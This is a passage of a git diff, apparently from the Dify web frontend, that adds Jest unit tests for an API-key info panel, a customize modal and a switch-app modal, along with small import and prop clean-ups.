+      'shadow-md',
+    )
+  },
+
+  // Should have close button
+  shouldHaveCloseButton: (container: HTMLElement) => {
+    const closeButton = container.querySelector('.absolute.right-4.top-4')
+    expect(closeButton).toBeInTheDocument()
+    expect(closeButton).toHaveClass('cursor-pointer')
+    return closeButton
+  },
+}
+
+// Common user interactions
+export const interactions = {
+  // Click the main button
+  clickMainButton: () => {
+    const button = document.querySelector('button.btn-primary')
+    if (button) fireEvent.click(button)
+    return button
+  },
+
+  // Click the close button
+  clickCloseButton: (container: HTMLElement) => {
+    const closeButton = container.querySelector('.absolute.right-4.top-4')
+    if (closeButton) fireEvent.click(closeButton)
+    return closeButton
+  },
+}
+
+// Text content keys for assertions
+export const textKeys = {
+  selfHost: {
+    titleRow1: /appOverview\.apiKeyInfo\.selfHost\.title\.row1/,
+    titleRow2: /appOverview\.apiKeyInfo\.selfHost\.title\.row2/,
+    setAPIBtn: /appOverview\.apiKeyInfo\.setAPIBtn/,
+    tryCloud: /appOverview\.apiKeyInfo\.tryCloud/,
+  },
+  cloud: {
+    trialTitle: /appOverview\.apiKeyInfo\.cloud\.trial\.title/,
+    trialDescription: /appOverview\.apiKeyInfo\.cloud\.trial\.description/,
+    setAPIBtn: /appOverview\.apiKeyInfo\.setAPIBtn/,
+  },
+}
+
+// Setup and cleanup utilities
+export function clearAllMocks() {
+  jest.clearAllMocks()
+}
+
+// Export mock functions for external access
+export { mockUseProviderContext, mockUseModalContext, defaultModalContext }
diff --git a/web/app/components/app/overview/apikey-info-panel/cloud.spec.tsx b/web/app/components/app/overview/apikey-info-panel/cloud.spec.tsx
new file mode 100644
index 0000000000..c7cb061fde
--- /dev/null
+++ b/web/app/components/app/overview/apikey-info-panel/cloud.spec.tsx
@@ -0,0 +1,122 @@
+import { cleanup, screen } from '@testing-library/react'
+import { ACCOUNT_SETTING_TAB } from '@/app/components/header/account-setting/constants'
+import {
+  assertions,
+  clearAllMocks,
+  defaultModalContext,
+  interactions,
+  mockUseModalContext,
+  scenarios,
+  textKeys,
+} from './apikey-info-panel.test-utils'
+
+// Mock config for Cloud edition
+jest.mock('@/config', () => ({
+  IS_CE_EDITION: false, // Test Cloud edition
+}))
+
+afterEach(cleanup)
+
+describe('APIKeyInfoPanel - Cloud Edition', () => {
+  const mockSetShowAccountSettingModal = jest.fn()
+
+  beforeEach(() => {
+    clearAllMocks()
+    mockUseModalContext.mockReturnValue({
+      ...defaultModalContext,
+      setShowAccountSettingModal: mockSetShowAccountSettingModal,
+    })
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing when API key is not set', () => {
+      scenarios.withAPIKeyNotSet()
+      assertions.shouldRenderMainButton()
+    })
+
+    it('should not render when API key is already set', () => {
+      const { container } = scenarios.withAPIKeySet()
+      assertions.shouldNotRender(container)
+    })
+
+    it('should not render when panel is hidden by user', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      interactions.clickCloseButton(container)
+      assertions.shouldNotRender(container)
+    })
+  })
+
+  describe('Cloud Edition Content', () => {
+    it('should display cloud version title', () => {
+      scenarios.withAPIKeyNotSet()
+      expect(screen.getByText(textKeys.cloud.trialTitle)).toBeInTheDocument()
+    })
+
+    it('should display emoji for cloud version', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      expect(container.querySelector('em-emoji')).toBeInTheDocument()
+      expect(container.querySelector('em-emoji')).toHaveAttribute('id', '😀')
+    })
+
+    it('should display cloud version description', () => {
+      scenarios.withAPIKeyNotSet()
+      expect(screen.getByText(textKeys.cloud.trialDescription)).toBeInTheDocument()
+    })
+
+    it('should not render external link for cloud version', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      expect(container.querySelector('a[href="https://cloud.dify.ai/apps"]')).not.toBeInTheDocument()
+    })
+
+    it('should display set API button text', () => {
+      scenarios.withAPIKeyNotSet()
+      expect(screen.getByText(textKeys.cloud.setAPIBtn)).toBeInTheDocument()
+    })
+  })
+
+  describe('User Interactions', () => {
+    it('should call setShowAccountSettingModal when set API button is clicked', () => {
+      scenarios.withMockModal(mockSetShowAccountSettingModal)
+
+      interactions.clickMainButton()
+
+      expect(mockSetShowAccountSettingModal).toHaveBeenCalledWith({
+        payload: ACCOUNT_SETTING_TAB.PROVIDER,
+      })
+    })
+
+    it('should hide panel when close button is clicked', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      expect(container.firstChild).toBeInTheDocument()
+
+      interactions.clickCloseButton(container)
+      assertions.shouldNotRender(container)
+    })
+  })
+
+  describe('Props and Styling', () => {
+    it('should render button with primary variant', () => {
+      scenarios.withAPIKeyNotSet()
+      const button = screen.getByRole('button')
+      expect(button).toHaveClass('btn-primary')
+    })
+
+    it('should render panel container with correct classes', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      const panel = container.firstChild as HTMLElement
+      assertions.shouldHavePanelStyling(panel)
+    })
+  })
+
+  describe('Accessibility', () => {
+    it('should have button with proper role', () => {
+      scenarios.withAPIKeyNotSet()
+      expect(screen.getByRole('button')).toBeInTheDocument()
+    })
+
+    it('should have clickable close button', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      assertions.shouldHaveCloseButton(container)
+    })
+  })
+})
diff --git a/web/app/components/app/overview/apikey-info-panel/index.spec.tsx b/web/app/components/app/overview/apikey-info-panel/index.spec.tsx
new file mode 100644
index 0000000000..62eeb4299e
--- /dev/null
+++ b/web/app/components/app/overview/apikey-info-panel/index.spec.tsx
@@ -0,0 +1,162 @@
+import { cleanup, screen } from '@testing-library/react'
+import { ACCOUNT_SETTING_TAB } from '@/app/components/header/account-setting/constants'
+import {
+  assertions,
+  clearAllMocks,
+  defaultModalContext,
+  interactions,
+  mockUseModalContext,
+  scenarios,
+  textKeys,
+} from './apikey-info-panel.test-utils'
+
+// Mock config for CE edition
+jest.mock('@/config', () => ({
+  IS_CE_EDITION: true, // Test CE edition by default
+}))
+
+afterEach(cleanup)
+
+describe('APIKeyInfoPanel - Community Edition', () => {
+  const mockSetShowAccountSettingModal = jest.fn()
+
+  beforeEach(() => {
+    clearAllMocks()
+    mockUseModalContext.mockReturnValue({
+      ...defaultModalContext,
+      setShowAccountSettingModal: mockSetShowAccountSettingModal,
+    })
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing when API key is not set', () => {
+      scenarios.withAPIKeyNotSet()
+      assertions.shouldRenderMainButton()
+    })
+
+    it('should not render when API key is already set', () => {
+      const { container } = scenarios.withAPIKeySet()
+      assertions.shouldNotRender(container)
+    })
+
+    it('should not render when panel is hidden by user', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      interactions.clickCloseButton(container)
+      assertions.shouldNotRender(container)
+    })
+  })
+
+  describe('Content Display', () => {
+    it('should display self-host title content', () => {
+      scenarios.withAPIKeyNotSet()
+
+      expect(screen.getByText(textKeys.selfHost.titleRow1)).toBeInTheDocument()
+      expect(screen.getByText(textKeys.selfHost.titleRow2)).toBeInTheDocument()
+    })
+
+    it('should display set API button text', () => {
+      scenarios.withAPIKeyNotSet()
+      expect(screen.getByText(textKeys.selfHost.setAPIBtn)).toBeInTheDocument()
+    })
+
+    it('should render external link with correct href for self-host version', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      const link = container.querySelector('a[href="https://cloud.dify.ai/apps"]')
+
+      expect(link).toBeInTheDocument()
+      expect(link).toHaveAttribute('target', '_blank')
+      expect(link).toHaveAttribute('rel', 'noopener noreferrer')
+      expect(link).toHaveTextContent(textKeys.selfHost.tryCloud)
+    })
+
+    it('should have external link with proper styling for self-host version', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      const link = container.querySelector('a[href="https://cloud.dify.ai/apps"]')
+
+      expect(link).toHaveClass(
+        'mt-2',
+        'flex',
+        'h-[26px]',
+        'items-center',
+        'space-x-1',
+        'p-1',
+        'text-xs',
+        'font-medium',
+        'text-[#155EEF]',
+      )
+    })
+  })
+
+  describe('User Interactions', () => {
+    it('should call setShowAccountSettingModal when set API button is clicked', () => {
+      scenarios.withMockModal(mockSetShowAccountSettingModal)
+
+      interactions.clickMainButton()
+
+      expect(mockSetShowAccountSettingModal).toHaveBeenCalledWith({
+        payload: ACCOUNT_SETTING_TAB.PROVIDER,
+      })
+    })
+
+    it('should hide panel when close button is clicked', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      expect(container.firstChild).toBeInTheDocument()
+
+      interactions.clickCloseButton(container)
+      assertions.shouldNotRender(container)
+    })
+  })
+
+  describe('Props and Styling', () => {
+    it('should render button with primary variant', () => {
+      scenarios.withAPIKeyNotSet()
+      const button = screen.getByRole('button')
+      expect(button).toHaveClass('btn-primary')
+    })
+
+    it('should render panel container with correct classes', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      const panel = container.firstChild as HTMLElement
+      assertions.shouldHavePanelStyling(panel)
+    })
+  })
+
+  describe('State Management', () => {
+    it('should start with visible panel (isShow: true)', () => {
+      scenarios.withAPIKeyNotSet()
+      assertions.shouldRenderMainButton()
+    })
+
+    it('should toggle visibility when close button is clicked', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      expect(container.firstChild).toBeInTheDocument()
+
+      interactions.clickCloseButton(container)
+      assertions.shouldNotRender(container)
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle provider context loading state', () => {
+      scenarios.withAPIKeyNotSet({
+        providerContext: {
+          modelProviders: [],
+          textGenerationModelList: [],
+        },
+      })
+      assertions.shouldRenderMainButton()
+    })
+  })
+
+  describe('Accessibility', () => {
+    it('should have button with proper role', () => {
+      scenarios.withAPIKeyNotSet()
+      expect(screen.getByRole('button')).toBeInTheDocument()
+    })
+
+    it('should have clickable close button', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      assertions.shouldHaveCloseButton(container)
+    })
+  })
+})
diff --git a/web/app/components/app/overview/apikey-info-panel/index.tsx b/web/app/components/app/overview/apikey-info-panel/index.tsx
index b50b0077cb..47fe7af972 100644
--- a/web/app/components/app/overview/apikey-info-panel/index.tsx
+++ b/web/app/components/app/overview/apikey-info-panel/index.tsx
@@ -3,7 +3,7 @@ import type { FC } from 'react'
 import React, { useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import { RiCloseLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Button from '@/app/components/base/button'
 import { LinkExternal02 } from '@/app/components/base/icons/src/vender/line/general'
 import { IS_CE_EDITION } from '@/config'
diff --git a/web/app/components/app/overview/app-card.tsx b/web/app/components/app/overview/app-card.tsx
index a0f5780b71..15762923ff 100644
--- a/web/app/components/app/overview/app-card.tsx
+++ b/web/app/components/app/overview/app-card.tsx
@@ -401,7 +401,6 @@ function AppCard({
             />
             <CustomizeModal
               isShow={showCustomizeModal}
-              linkUrl=""
               onClose={() => setShowCustomizeModal(false)}
               appId={appInfo.id}
               api_base_url={appInfo.api_base_url}
diff --git a/web/app/components/app/overview/customize/index.spec.tsx b/web/app/components/app/overview/customize/index.spec.tsx
new file mode 100644
index 0000000000..c960101b66
--- /dev/null
+++ b/web/app/components/app/overview/customize/index.spec.tsx
@@ -0,0 +1,434 @@
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import CustomizeModal from './index'
+import { AppModeEnum } from '@/types/app'
+
+// Mock useDocLink from context
+const mockDocLink = jest.fn((path?: string) => `https://docs.dify.ai/en-US${path || ''}`)
+jest.mock('@/context/i18n', () => ({
+  useDocLink: () => mockDocLink,
+}))
+
+// Mock window.open
+const mockWindowOpen = jest.fn()
+Object.defineProperty(window, 'open', {
+  value: mockWindowOpen,
+  writable: true,
+})
+
+describe('CustomizeModal', () => {
+  const defaultProps = {
+    isShow: true,
+    onClose: jest.fn(),
+    api_base_url: 'https://api.example.com',
+    appId: 'test-app-id-123',
+    mode: AppModeEnum.CHAT,
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Rendering tests - verify component renders correctly with various configurations
+  describe('Rendering', () => {
+    it('should render without crashing when isShow is true', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('appOverview.overview.appInfo.customize.title')).toBeInTheDocument()
+      })
+    })
+
+    it('should not render content when isShow is false', async () => {
+      // Arrange
+      const props = { ...defaultProps, isShow: false }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.queryByText('appOverview.overview.appInfo.customize.title')).not.toBeInTheDocument()
+      })
+    })
+
+    it('should render modal description', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('appOverview.overview.appInfo.customize.explanation')).toBeInTheDocument()
+      })
+    })
+
+    it('should render way 1 and way 2 tags', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('appOverview.overview.appInfo.customize.way 1')).toBeInTheDocument()
+        expect(screen.getByText('appOverview.overview.appInfo.customize.way 2')).toBeInTheDocument()
+      })
+    })
+
+    it('should render all step numbers (1, 2, 3)', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('1')).toBeInTheDocument()
+        expect(screen.getByText('2')).toBeInTheDocument()
+        expect(screen.getByText('3')).toBeInTheDocument()
+      })
+    })
+
+    it('should render step instructions', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('appOverview.overview.appInfo.customize.way1.step1')).toBeInTheDocument()
+        expect(screen.getByText('appOverview.overview.appInfo.customize.way1.step2')).toBeInTheDocument()
+        expect(screen.getByText('appOverview.overview.appInfo.customize.way1.step3')).toBeInTheDocument()
+      })
+    })
+
+    it('should render environment variables with appId and api_base_url', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const preElement = screen.getByText(/NEXT_PUBLIC_APP_ID/i).closest('pre')
+        expect(preElement).toBeInTheDocument()
+        expect(preElement?.textContent).toContain('NEXT_PUBLIC_APP_ID=\'test-app-id-123\'')
+        expect(preElement?.textContent).toContain('NEXT_PUBLIC_API_URL=\'https://api.example.com\'')
+      })
+    })
+
+    it('should render GitHub icon in step 1 button', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert - find the GitHub link and verify it contains an SVG icon
+      await waitFor(() => {
+        const githubLink = screen.getByRole('link', { name: /step1Operation/i })
+        expect(githubLink).toBeInTheDocument()
+        expect(githubLink.querySelector('svg')).toBeInTheDocument()
+      })
+    })
+  })
+
+  // Props tests - verify props are correctly applied
+  describe('Props', () => {
+    it('should display correct appId in environment variables', async () => {
+      // Arrange
+      const customAppId = 'custom-app-id-456'
+      const props = { ...defaultProps, appId: customAppId }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const preElement = screen.getByText(/NEXT_PUBLIC_APP_ID/i).closest('pre')
+        expect(preElement?.textContent).toContain(`NEXT_PUBLIC_APP_ID='${customAppId}'`)
+      })
+    })
+
+    it('should display correct api_base_url in environment variables', async () => {
+      // Arrange
+      const customApiUrl = 'https://custom-api.example.com'
+      const props = { ...defaultProps, api_base_url: customApiUrl }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const preElement = screen.getByText(/NEXT_PUBLIC_API_URL/i).closest('pre')
+        expect(preElement?.textContent).toContain(`NEXT_PUBLIC_API_URL='${customApiUrl}'`)
+      })
+    })
+  })
+
+  // Mode-based conditional rendering tests - verify GitHub link changes based on app mode
+  describe('Mode-based GitHub link', () => {
+    it('should link to webapp-conversation repo for CHAT mode', async () => {
+      // Arrange
+      const props = { ...defaultProps, mode: AppModeEnum.CHAT }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const githubLink = screen.getByRole('link', { name: /step1Operation/i })
+        expect(githubLink).toHaveAttribute('href', 'https://github.com/langgenius/webapp-conversation')
+      })
+    })
+
+    it('should link to webapp-conversation repo for ADVANCED_CHAT mode', async () => {
+      // Arrange
+      const props = { ...defaultProps, mode: AppModeEnum.ADVANCED_CHAT }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const githubLink = screen.getByRole('link', { name: /step1Operation/i })
+        expect(githubLink).toHaveAttribute('href', 'https://github.com/langgenius/webapp-conversation')
+      })
+    })
+
+    it('should link to webapp-text-generator repo for COMPLETION mode', async () => {
+      // Arrange
+      const props = { ...defaultProps, mode: AppModeEnum.COMPLETION }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const githubLink = screen.getByRole('link', { name: /step1Operation/i })
+        expect(githubLink).toHaveAttribute('href', 'https://github.com/langgenius/webapp-text-generator')
+      })
+    })
+
+    it('should link to webapp-text-generator repo for WORKFLOW mode', async () => {
+      // Arrange
+      const props = { ...defaultProps, mode: AppModeEnum.WORKFLOW }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const githubLink = screen.getByRole('link', { name: /step1Operation/i })
+        expect(githubLink).toHaveAttribute('href', 'https://github.com/langgenius/webapp-text-generator')
+      })
+    })
+
+    it('should link to webapp-text-generator repo for AGENT_CHAT mode', async () => {
+      // Arrange
+      const props = { ...defaultProps, mode: AppModeEnum.AGENT_CHAT }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const githubLink = screen.getByRole('link', { name: /step1Operation/i })
+        expect(githubLink).toHaveAttribute('href', 'https://github.com/langgenius/webapp-text-generator')
+      })
+    })
+  })
+
+  // External links tests - verify external links have correct security attributes
+  describe('External links', () => {
+    it('should have GitHub repo link that opens in new tab', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const githubLink = screen.getByRole('link', { name: /step1Operation/i })
+        expect(githubLink).toHaveAttribute('target', '_blank')
+        expect(githubLink).toHaveAttribute('rel', 'noopener noreferrer')
+      })
+    })
+
+    it('should have Vercel docs link that opens in new tab', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const vercelLink = screen.getByRole('link', { name: /step2Operation/i })
+        expect(vercelLink).toHaveAttribute('href', 'https://vercel.com/docs/concepts/deployments/git/vercel-for-github')
+        expect(vercelLink).toHaveAttribute('target', '_blank')
+        expect(vercelLink).toHaveAttribute('rel', 'noopener noreferrer')
+      })
+    })
+  })
+
+  // User interactions tests - verify user actions trigger expected behaviors
+  describe('User Interactions', () => {
+    it('should call window.open with doc link when way 2 button is clicked', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      await waitFor(() => {
+        expect(screen.getByText('appOverview.overview.appInfo.customize.way2.operation')).toBeInTheDocument()
+      })
+
+      const way2Button = screen.getByText('appOverview.overview.appInfo.customize.way2.operation').closest('button')
+      expect(way2Button).toBeInTheDocument()
+      fireEvent.click(way2Button!)
+
+      // Assert
+      expect(mockWindowOpen).toHaveBeenCalledTimes(1)
+      expect(mockWindowOpen).toHaveBeenCalledWith(
+        expect.stringContaining('/guides/application-publishing/developing-with-apis'),
+        '_blank',
+      )
+    })
+
+    it('should call onClose when modal close button is clicked', async () => {
+      // Arrange
+      const onClose = jest.fn()
+      const props = { ...defaultProps, onClose }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Wait for modal to be fully rendered
+      await waitFor(() => {
+        expect(screen.getByText('appOverview.overview.appInfo.customize.title')).toBeInTheDocument()
+      })
+
+      // Find the close button by navigating from the heading to the close icon
+      // The close icon is an SVG inside a sibling div of the title
+      const heading = screen.getByRole('heading', { name: /customize\.title/i })
+      const closeIcon = heading.parentElement!.querySelector('svg')
+
+      // Assert - closeIcon must exist for the test to be valid
+      expect(closeIcon).toBeInTheDocument()
+      fireEvent.click(closeIcon!)
+      expect(onClose).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  // Edge cases tests - verify component handles boundary conditions
+  describe('Edge Cases', () => {
+    it('should handle empty appId', async () => {
+      // Arrange
+      const props = { ...defaultProps, appId: '' }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const preElement = screen.getByText(/NEXT_PUBLIC_APP_ID/i).closest('pre')
+        expect(preElement?.textContent).toContain('NEXT_PUBLIC_APP_ID=\'\'')
+      })
+    })
+
+    it('should handle empty api_base_url', async () => {
+      // Arrange
+      const props = { ...defaultProps, api_base_url: '' }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const preElement = screen.getByText(/NEXT_PUBLIC_API_URL/i).closest('pre')
+        expect(preElement?.textContent).toContain('NEXT_PUBLIC_API_URL=\'\'')
+      })
+    })
+
+    it('should handle special characters in appId', async () => {
+      // Arrange
+      const specialAppId = 'app-id-with-special-chars_123'
+      const props = { ...defaultProps, appId: specialAppId }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const preElement = screen.getByText(/NEXT_PUBLIC_APP_ID/i).closest('pre')
+        expect(preElement?.textContent).toContain(`NEXT_PUBLIC_APP_ID='${specialAppId}'`)
+      })
+    })
+
+    it('should handle URL with special characters in api_base_url', async () => {
+      // Arrange
+      const specialApiUrl = 'https://api.example.com:8080/v1'
+      const props = { ...defaultProps, api_base_url: specialApiUrl }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const preElement = screen.getByText(/NEXT_PUBLIC_API_URL/i).closest('pre')
+        expect(preElement?.textContent).toContain(`NEXT_PUBLIC_API_URL='${specialApiUrl}'`)
+      })
+    })
+  })
+
+  // StepNum component tests - verify step number styling
+  describe('StepNum component', () => {
+    it('should render step numbers with correct styling class', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert - The StepNum component is the direct container of the text
+      await waitFor(() => {
+        const stepNumber1 = screen.getByText('1')
+        expect(stepNumber1).toHaveClass('rounded-2xl')
+      })
+    })
+  })
+
+  // GithubIcon component tests - verify GitHub icon renders correctly
+  describe('GithubIcon component', () => {
+    it('should render GitHub icon SVG within GitHub link button', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert - Find GitHub link and verify it contains an SVG icon with expected class
+      await waitFor(() => {
+        const githubLink = screen.getByRole('link', { name: /step1Operation/i })
+        const githubIcon = githubLink.querySelector('svg')
+        expect(githubIcon).toBeInTheDocument()
+        expect(githubIcon).toHaveClass('text-text-secondary')
+      })
+    })
+  })
+})
diff --git a/web/app/components/app/overview/customize/index.tsx b/web/app/components/app/overview/customize/index.tsx
index e440a8cf26..698bc98efd 100644
--- a/web/app/components/app/overview/customize/index.tsx
+++ b/web/app/components/app/overview/customize/index.tsx
@@ -12,7 +12,6 @@ import Tag from '@/app/components/base/tag'
 type IShareLinkProps = {
   isShow: boolean
   onClose: () => void
-  linkUrl: string
   api_base_url: string
   appId: string
   mode: AppModeEnum
diff --git a/web/app/components/app/overview/embedded/index.tsx b/web/app/components/app/overview/embedded/index.tsx
index 6eba993e1d..d4be58b1b2 100644
--- a/web/app/components/app/overview/embedded/index.tsx
+++ b/web/app/components/app/overview/embedded/index.tsx
@@ -14,7 +14,7 @@ import type { SiteInfo } from '@/models/share'
 import { useThemeContext } from '@/app/components/base/chat/embedded-chatbot/theme/theme-context'
 import ActionButton from '@/app/components/base/action-button'
 import { basePath } from '@/utils/var'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   siteInfo?: SiteInfo
diff --git a/web/app/components/app/overview/settings/index.tsx b/web/app/components/app/overview/settings/index.tsx
index 3b71b8f75c..d079631cf7 100644
--- a/web/app/components/app/overview/settings/index.tsx
+++ b/web/app/components/app/overview/settings/index.tsx
@@ -25,7 +25,7 @@ import { useModalContext } from '@/context/modal-context'
 import { ACCOUNT_SETTING_TAB } from '@/app/components/header/account-setting/constants'
 import type { AppIconSelection } from '@/app/components/base/app-icon-picker'
 import AppIconPicker from '@/app/components/base/app-icon-picker'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useDocLink } from '@/context/i18n'
 
 export type ISettingsModalProps = {
diff --git a/web/app/components/app/switch-app-modal/index.spec.tsx b/web/app/components/app/switch-app-modal/index.spec.tsx
new file mode 100644
index 0000000000..b6fe838666
--- /dev/null
+++ b/web/app/components/app/switch-app-modal/index.spec.tsx
@@ -0,0 +1,295 @@
+import React from 'react'
+import { render, screen, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import SwitchAppModal from './index'
+import { ToastContext } from '@/app/components/base/toast'
+import type { App } from '@/types/app'
+import { AppModeEnum } from '@/types/app'
+import { Plan } from '@/app/components/billing/type'
+import { NEED_REFRESH_APP_LIST_KEY } from '@/config'
+
+const mockPush = jest.fn()
+const mockReplace = jest.fn()
+jest.mock('next/navigation', () => ({
+  useRouter: () => ({
+    push: mockPush,
+    replace: mockReplace,
+  }),
+}))
+
+const mockSetAppDetail = jest.fn()
+jest.mock('@/app/components/app/store', () => ({
+  useStore: (selector: (state: any) => unknown) => selector({ setAppDetail: mockSetAppDetail }),
+}))
+
+const mockSwitchApp = jest.fn()
+const mockDeleteApp = jest.fn()
+jest.mock('@/service/apps', () => ({
+  switchApp: (...args: unknown[]) => mockSwitchApp(...args),
+  deleteApp: (...args: unknown[]) => mockDeleteApp(...args),
+}))
+
+let mockIsEditor = true
+jest.mock('@/context/app-context', () => ({
+  useAppContext: () => ({
+    isCurrentWorkspaceEditor: mockIsEditor,
+    userProfile: {
+      email: 'user@example.com',
+    },
+    langGeniusVersionInfo: {
+      current_version: '1.0.0',
+    },
+  }),
+}))
+
+let mockEnableBilling = false
+let mockPlan = {
+  type: Plan.sandbox,
+  usage: {
+    buildApps: 0,
+    teamMembers: 0,
+    annotatedResponse: 0,
+    documentsUploadQuota: 0,
+    apiRateLimit: 0,
+    triggerEvents: 0,
+    vectorSpace: 0,
+  },
+  total: {
+    buildApps: 10,
+    teamMembers: 0,
+    annotatedResponse: 0,
+    documentsUploadQuota: 0,
+    apiRateLimit: 0,
+    triggerEvents: 0,
+    vectorSpace: 0,
+  },
+}
+jest.mock('@/context/provider-context', () => ({
+  useProviderContext: () => ({
+    plan: mockPlan,
+    enableBilling: mockEnableBilling,
+  }),
+}))
+
+jest.mock('@/app/components/billing/apps-full-in-dialog', () => ({
+  __esModule: true,
+  default: ({ loc }: { loc: string }) => <div data-testid="apps-full">AppsFull {loc}</div>,
+}))
+
+const createMockApp = (overrides: Partial<App> = {}): App => ({
+  id: 'app-123',
+  name: 'Demo App',
+  description: 'Demo description',
+  author_name: 'Demo author',
+  icon_type: 'emoji',
+  icon: '🚀',
+  icon_background: '#FFEAD5',
+  icon_url: null,
+  use_icon_as_answer_icon: false,
+  mode: AppModeEnum.COMPLETION,
+  enable_site: true,
+  enable_api: true,
+  api_rpm: 60,
+  api_rph: 3600,
+  is_demo: false,
+  model_config: {} as App['model_config'],
+  app_model_config: {} as App['app_model_config'],
+  created_at: Date.now(),
+  updated_at: Date.now(),
+  site: {
+    access_token: 'token',
+    app_base_url: 'https://example.com',
+  } as App['site'],
+  api_base_url: 'https://api.example.com',
+  tags: [],
+  access_mode: 'public_access' as App['access_mode'],
+  ...overrides,
+})
+
+const renderComponent = (overrides: Partial<React.ComponentProps<typeof SwitchAppModal>> = {}) => {
+  const notify = jest.fn()
+  const onClose = jest.fn()
+  const onSuccess = jest.fn()
+  const appDetail = createMockApp()
+
+  const utils = render(
+    <ToastContext.Provider value={{ notify, close: jest.fn() }}>
+      <SwitchAppModal
+        show
+        appDetail={appDetail}
+        onClose={onClose}
+        onSuccess={onSuccess}
+        {...overrides}
+      />
+    </ToastContext.Provider>,
+  )
+
+  return {
+    ...utils,
+    notify,
+    onClose,
+    onSuccess,
+    appDetail,
+  }
+}
+
+describe('SwitchAppModal', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockIsEditor = true
+    mockEnableBilling = false
+    mockPlan = {
+      type: Plan.sandbox,
+      usage: {
+        buildApps: 0,
+        teamMembers: 0,
+        annotatedResponse: 0,
+        documentsUploadQuota: 0,
+        apiRateLimit: 0,
+        triggerEvents: 0,
+        vectorSpace: 0,
+      },
+      total: {
+        buildApps: 10,
+        teamMembers: 0,
+        annotatedResponse: 0,
+        documentsUploadQuota: 0,
+        apiRateLimit: 0,
+        triggerEvents: 0,
+        vectorSpace: 0,
+      },
+    }
+  })
+
+  // Rendering behavior for modal visibility and default values.
+  describe('Rendering', () => {
+    it('should render modal content when show is true', () => {
+      // Arrange
+      renderComponent()
+
+      // Assert
+      expect(screen.getByText('app.switch')).toBeInTheDocument()
+      expect(screen.getByDisplayValue('Demo App(copy)')).toBeInTheDocument()
+    })
+
+    it('should not render modal content when show is false', () => {
+      // Arrange
+      renderComponent({ show: false })
+
+      // Assert
+      expect(screen.queryByText('app.switch')).not.toBeInTheDocument()
+    })
+  })
+
